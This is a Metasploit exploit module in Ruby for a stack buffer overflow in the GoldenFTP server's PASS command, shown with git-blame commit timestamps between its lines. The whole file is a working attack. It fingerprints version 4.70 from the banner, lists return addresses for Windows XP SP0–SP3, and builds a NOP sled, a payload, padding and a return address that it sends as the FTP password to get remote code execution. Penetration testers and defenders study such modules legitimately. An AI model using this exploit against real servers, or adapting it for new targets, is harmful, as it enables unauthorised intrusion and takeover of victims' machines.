2011-06-02 01:10:22 +00:00
|
|
|
#
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = AverageRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::Ftp
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'GoldenFTP PASS Stack Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2011-07-18 20:39:27 +00:00
|
|
|
This module exploits a vulnerability in the Golden FTP service, using the PASS
|
2011-07-18 20:46:08 +00:00
|
|
|
command to cause a buffer overflow. Please note that in order trigger the vulnerable
|
|
|
|
code, the victim machine must have the "Show new connections" setting enabled. By
|
|
|
|
default, this option is unchecked.
|
2011-06-02 01:10:22 +00:00
|
|
|
},
|
2011-07-18 20:39:27 +00:00
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Craig Freyman', #Initial poc on exploit-db with iglesiasgg
|
|
|
|
'bannedit', #Initial msf module
|
|
|
|
'Joff Thyer <jsthyer[at]gmail.com>', #Improved msf version
|
|
|
|
],
|
2011-06-02 01:10:22 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2011-06-02 12:24:25 +00:00
|
|
|
[ 'CVE', '2006-6576'],
|
|
|
|
[ 'OSVDB', '35951'],
|
2011-06-02 01:10:22 +00:00
|
|
|
[ 'BID', '45957 '],
|
|
|
|
[ 'URL', 'http://www.exploit-db.com/exploits/16036/'],
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'seh',
|
|
|
|
},
|
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
2011-07-18 20:39:27 +00:00
|
|
|
'Space' => 440,
|
2011-06-02 01:10:22 +00:00
|
|
|
'BadChars' => "\x00\x0a\x0d",
|
|
|
|
},
|
|
|
|
'Platform' => ['win'],
|
|
|
|
'Targets' =>
|
|
|
|
[
|
2011-07-18 20:39:27 +00:00
|
|
|
[ 'Windows XP Pro SP3', { 'Ret' => 0x7E45AE4E, } ], #JMP ESI USER32.dll
|
|
|
|
[ 'Windows XP Pro SP2', { 'Ret' => 0x77D4E23B, } ], #JMP ESI USER32.dll
|
|
|
|
[ 'Windows XP Pro SP0/SP1', { 'Ret' => 0x77e8157b, } ] #JMP ESI kernel32.dll
|
2011-06-02 01:10:22 +00:00
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Jan 23 2011'))
|
|
|
|
end
|
2011-07-18 20:39:27 +00:00
|
|
|
|
2011-06-02 01:10:22 +00:00
|
|
|
def check
|
|
|
|
connect
|
|
|
|
disconnect
|
|
|
|
print_status("FTP Banner: #{banner}".strip)
|
|
|
|
if banner =~ /Golden FTP Server ready v(4\.\d{2})/ and $1 == "4.70"
|
|
|
|
return Exploit::CheckCode::Appears
|
|
|
|
else
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2011-07-18 20:39:27 +00:00
|
|
|
shortjmp = make_nops(3) + "\xeb\x20"
|
|
|
|
nopsled = make_nops(1) * 60
|
|
|
|
srciplen = Rex::Socket.source_address.length
|
|
|
|
padding = make_nops(1) * (533 - (srciplen + nopsled.length + payload.encoded.length))
|
|
|
|
|
|
|
|
sploit = nopsled
|
2011-06-02 01:10:22 +00:00
|
|
|
sploit << payload.encoded
|
2011-07-18 20:39:27 +00:00
|
|
|
sploit << padding
|
2011-06-02 01:10:22 +00:00
|
|
|
sploit << [target.ret].pack('V')
|
|
|
|
|
|
|
|
print_status("Connecting to #{datastore['RHOST']}:#{datastore['RPORT']}")
|
2011-07-18 20:39:27 +00:00
|
|
|
|
|
|
|
connect
|
2011-07-19 15:07:00 +00:00
|
|
|
raw_send(shortjmp + "\n")
|
2011-07-18 20:39:27 +00:00
|
|
|
send_user(datastore['FTPUSER'])
|
|
|
|
send_cmd(['PASS', sploit], false)
|
|
|
|
select(nil,nil,nil,2)
|
|
|
|
handler
|
|
|
|
disconnect
|
2011-06-02 01:10:22 +00:00
|
|
|
end
|
2011-06-02 12:24:25 +00:00
|
|
|
end
|